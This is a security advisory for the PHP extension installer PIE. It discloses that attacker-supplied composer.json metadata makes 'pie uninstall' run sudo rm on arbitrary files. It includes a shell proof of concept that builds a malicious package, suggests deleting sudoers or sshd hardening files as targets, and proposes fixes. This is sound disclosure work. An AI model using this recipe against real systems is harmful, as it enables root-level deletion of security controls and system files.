Skip to content

Sudo-elevated arbitrary file deletion via `extra.pie-installed-binary` metadata in `UninstallUsingUnlink`

High
asgrim published GHSA-h842-vjwg-pxxx May 26, 2026

Package

No package listed

Affected versions

>1.3.0

Patched versions

1.3.13+, 1.4.5+, 1.5.0+

Description

Summary

During pie uninstall, PIE reads pie-installed-binary and pie-installed-binary-checksum from a package's composer.json extra block, verifies the sha256 of the file at that path against the declared checksum, and runs sudo rm on the result. The attacker supplies both the path and the checksum, so the comparison just confirms the attacker is consistent with themselves. Any file whose contents the attacker can predict becomes a valid uninstall target, and pie uninstall deletes it as root.

Several first-class PIE workflows leave the upstream-supplied metadata in vendor/composer/installed.json long enough for the uninstaller to read it: pie download <pkg> then pie uninstall <pkg>, pie build <pkg> then pie uninstall, an attacker-engineered build failure during pie install, and installation through raw composer require followed by cleanup with pie uninstall.

The sink is Process::run([Sudo::find(), 'rm', $expectedBinaryFile->filePath]) at src/Installing/UninstallUsingUnlink.php:48, with an identical fallback at src/File/SudoUnlink.php:46.

Details

The metadata read

PieInstalledJsonMetadataKeys::pieMetadataFromComposerPackage at src/ComposerIntegration/PieInstalledJsonMetadataKeys.php:47:

public static function pieMetadataFromComposerPackage(CompletePackageInterface $composerPackage): array
{
    $composerPackageExtras = $composerPackage->getExtra();
    $onlyPieExtras = [];

    foreach (array_column(self::cases(), 'value') as $pieMetadataKey) {
        if (
            ! array_key_exists($pieMetadataKey, $composerPackageExtras)
            || ! is_string($composerPackageExtras[$pieMetadataKey])
            || $composerPackageExtras[$pieMetadataKey] === ''
        ) {
            continue;
        }

        $onlyPieExtras[$pieMetadataKey] = $composerPackageExtras[$pieMetadataKey];
    }

    return $onlyPieExtras;
}

The only sanitiser checks is_string($v) && $v !== ''. PIE never validates the path's shape, the checksum format, or the provenance of either value. Nothing here distinguishes a value PIE wrote during its own install lifecycle from a value the upstream package author wrote into composer.json.

The provenance gap

PIE does overwrite both metadata keys during a successful install: InstalledJsonMetadata::addBuildMetadata sets pie-installed-binary-checksum, and addInstallMetadata sets pie-installed-binary. Both run from InstallAndBuildProcess::__invoke at src/ComposerIntegration/InstallAndBuildProcess.php:55-85:

$this->installedJsonMetadata->addDownloadMetadata(...);   // never touches pie-installed-binary

if ($composerRequest->operation->shouldBuild()) {
    $builtBinaryFile = ($this->pieBuild)(...);
    $this->installedJsonMetadata->addBuildMetadata(...);   // sets BinaryChecksum + BuiltBinary
}

if (! $composerRequest->operation->shouldInstall()) {
    return;
}

$this->installedJsonMetadata->addInstallMetadata(          // sets InstalledBinary
    $composer,
    $composerPackage,
    ($this->pieInstall)(...),
);

PieOperation (src/ComposerIntegration/PieOperation.php) controls both gates. The Download op turns them both off; the Build op turns shouldInstall() off. Composer still registers the package in installed.json in both cases through parent::install(...) at PiePackageInstaller::install (src/ComposerIntegration/PiePackageInstaller.php:38), and serialises the upstream composer.json extra block verbatim.

Five concrete flows leave the attacker-supplied pie-installed-binary in installed.json:

  1. pie download <pkg>pie uninstall <pkg>.
  2. pie build <pkg>pie uninstall <pkg>.
  3. pie install <pkg> where the attacker ships a config.m4 or Makefile that fails. The then-callback throws before addInstallMetadata runs; Composer keeps the package registered in installed.json.
  4. composer require <pkg> directly into PIE's working pie.json (PIE documents this path for shared environments), then pie uninstall.
  5. Any sequence where the user runs pie uninstall against a package whose lifecycle never reached PIE's install step.

The unprotected sink

UninstallUsingUnlink::__invoke at src/Installing/UninstallUsingUnlink.php:25-65:

$pieMetadata = PieInstalledJsonMetadataKeys::pieMetadataFromComposerPackage($package->composerPackage());

// (assertion that both keys exist)

$expectedBinaryFile = new BinaryFile(
    $pieMetadata[PieInstalledJsonMetadataKeys::InstalledBinary->value],
    $pieMetadata[PieInstalledJsonMetadataKeys::BinaryChecksum->value],
);

$expectedBinaryFile->verify();

if (file_exists($expectedBinaryFile->filePath) && ! is_writable($expectedBinaryFile->filePath) && Sudo::exists()) {
    Process::run([Sudo::find(), 'rm', $expectedBinaryFile->filePath], timeout: Process::SHORT_TIMEOUT);
    if (! file_exists($expectedBinaryFile->filePath)) {
        return $expectedBinaryFile;
    }
}

try {
    SudoUnlink::singleFile($expectedBinaryFile->filePath);   // identical sudo rm fallback
} catch (FailedToUnlinkFile $failedToUnlinkFile) {
    throw FailedToRemoveExtension::withFilename($expectedBinaryFile, $failedToUnlinkFile);
}

BinaryFile::verify at src/File/BinaryFile.php:35 checks file_exists($filePath) and hash_equals($declaredChecksum, sha256($filePath)). The attacker supplies both sides of that comparison from the same composer.json, so verify only confirms internal consistency; it never tests authenticity.

The ! is_writable($filePath) branch is the one the attacker aims for: a root-owned target isn't writable by the invoking user, so PIE takes the sudo branch. PIE has already printed This command may need elevated privileges, and may prompt you for your password. The user types their sudo password expecting PIE to remove a .so from the system extension directory.

What standard checks miss

  • composer audit checks dependency CVEs; this is a behaviour bug, not a vulnerable-dependency report.
  • phpstan doesn't model the trust boundary between upstream extra and PIE-written extra.
  • PIE's existing unit tests build fixtures with array_merge($existing, [...]) where the seeded extras come from PIE itself, so no test ever feeds a hostile upstream value into the read path.

PoC

The PoC uses a path repository for reproducibility; an end-to-end attack via Packagist behaves identically (PIE pulls the same composer.json extra).

Step 1 — set up the malicious "PIE package":

mkdir -p /tmp/pie-poc/evil-ext
cd /tmp/pie-poc/evil-ext

# Decoy target (user-owned for non-destructive demo; primitive is identical for root-owned)
echo 'DECOY-CONTENTS' > /tmp/pie-poc-decoy-target.txt
DECOY_HASH=$(sha256sum /tmp/pie-poc-decoy-target.txt | awk '{print $1}')

cat > composer.json <<EOF
{
  "name": "pie-poc/evil",
  "type": "php-ext",
  "version": "1.0.0",
  "license": "MIT",
  "require": {"php": ">=8.1"},
  "php-ext": {"extension-name": "evil"},
  "extra": {
    "pie-installed-binary": "/tmp/pie-poc-decoy-target.txt",
    "pie-installed-binary-checksum": "$DECOY_HASH"
  }
}
EOF

Step 2 — victim configuration:

export PIE_WORKING_DIRECTORY=/tmp/pie-poc/fake-home
mkdir -p "$PIE_WORKING_DIRECTORY"
pie repository:add path /tmp/pie-poc/evil-ext

Step 3 — run the primitive:

pie download pie-poc/evil
ls -la /tmp/pie-poc-decoy-target.txt   # decoy present
pie uninstall pie-poc/evil
ls -la /tmp/pie-poc-decoy-target.txt   # gone

Observed output of the pie uninstall invocation:

🥧 PHP Installer for Extensions (PIE) 1.5.x-dev, from The PHP Foundation
This command may need elevated privileges, and may prompt you for your password.
You are running PHP 8.4.21
Target PHP installation: 8.4.21 nts, on Linux/OSX/etc x86_64 (from /usr/bin/php8.4)
👋 Removed extension: /tmp/pie-poc-decoy-target.txt

The smoking-gun line is 👋 Removed extension: /tmp/pie-poc-decoy-target.txt. The decoy file has no relationship to the pie-poc/evil package; the attacker steered PIE into deleting an unrelated path purely through composer.json extra. For the root-elevated variant, point pie-installed-binary at a file the invoking user can't write but root can (any root-owned file in /etc, /var, /usr/local): the same code path runs sudo rm <attacker_path>, and the user types their sudo password thinking they're confirming an extension cleanup.

Verified on:

PIE PHP OS Outcome
commit 5c3fa89c5f63728f60fda04756b4044c01855ff7 (1.5.x branch) 8.4.21 (NTS) Linux x86_64 (WSL2) yes
1.4.4 release tag (code path identical at UninstallUsingUnlink.php:48 and SudoUnlink.php:46) yes (by code inspection)

PIE's relevant code paths are unchanged between 1.4.x and 1.5.x.

Impact

Vulnerability class: Privilege-boundary violation; sudo-elevated unlink of an attacker-chosen path.

Capability granted: The attacker, by publishing a type: php-ext package on Packagist (or any Composer repository the victim trusts), can cause pie uninstall to execute sudo rm <attacker_chosen_path> against any file whose sha256 the attacker can predict. Predictable targets that require no on-host knowledge:

  • Distribution-shipped configuration files with stable content across an OS image (cron drop-ins, sshd_config.d hardening files, sudoers.d deny rules, package-manager hold files).
  • Files the attacker has themselves created earlier in the session: their own make install writes a marker, the metadata points at it, the marker disappears under root. Useful for obscuring a logged action.
  • Static cloud-image baseline files (AWS / Azure / GCP marketplace images often ship deterministic security baselines).

The realistic high-value chain is deleting a security-hardening drop-in. A sudoers.d/disable-something file vanishes, the deny rule it carried vanishes with it, and a subsequent attack path re-opens. Same shape for sshd_config.d/00-disable-password-auth.conf (password auth re-enabled) or a fail2ban jail file (brute-force protection gone).

Affected versions: All PIE releases through 1.4.4 and the 1.5.x development branch up to commit 5c3fa89c5f63728f60fda04756b4044c01855ff7. The metadata-read pattern has been in place since PIE's uninstall path landed; no prior fix exists.

Affected configurations: Default. No special PHP version, no special build flags, no opt-in feature. Sudo::find() requires either an interactive terminal or the invoking process already running as root, both of which are typical for the pie install / pie uninstall workflow.

Affected users:

  • Anyone who installs PIE-managed extensions in interactive shells (the common case).
  • CI environments running PIE as root (most CI containers run as root by default), where the sudo gate is moot.
  • Multi-user shared hosts where one user has sudo access for PIE management.

Required user action: Either (1) pie download <attacker_pkg> followed by pie uninstall <attacker_pkg>, or (2) pie build <attacker_pkg> followed by pie uninstall, or (3) pie install <attacker_pkg> where the package's build is engineered to fail (the attacker controls the Makefile), followed by pie uninstall to clean up, or (4) installation outside PIE (composer require <attacker_pkg> into pie.json) followed by pie uninstall. In each case the victim is prompted for sudo and supplies the password expecting PIE to remove an extension .so.

Chain to denial-of-service or downstream compromise: Deleting a load-bearing configuration file (/etc/sudoers, /etc/passwd, /etc/pam.d/*, a systemd unit file in /etc/systemd/system/*) breaks the invoking system. Deleting a security-hardening drop-in re-enables a previously-denied access path that the attacker then uses through a separate channel.

Fix direction

Either of these closes the primitive:

  1. Containment check in UninstallUsingUnlink::__invoke at src/Installing/UninstallUsingUnlink.php:25. Before trusting pie-installed-binary, assert (via realpath) that the path sits inside one of the target PHP's extensionPath() directories. If not, throw with a clear error; that signals to the user that installed.json is corrupt or hostile.

  2. Namespace PIE-written metadata. Write pie-installed-binary only under a key PIE controls end-to-end, e.g. extra['pie-internal'] = ['installed-binary' => ..., 'installed-binary-checksum' => ...], and reject any upstream composer.json that declares pie-internal at install time. This collapses the whole family of "upstream extra survives into PIE's read" bugs into a single boundary check.

As independent hardening, add a -- argv separator at src/Installing/UninstallUsingUnlink.php:48 and src/File/SudoUnlink.php:46: Process::run([Sudo::find(), 'rm', '--', $filePath]). The argv-flag-injection variant on the same sink isn't reachable today, but the separator costs nothing and removes the footgun.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

CVE ID

No known CVE

Weaknesses

No CWEs

Credits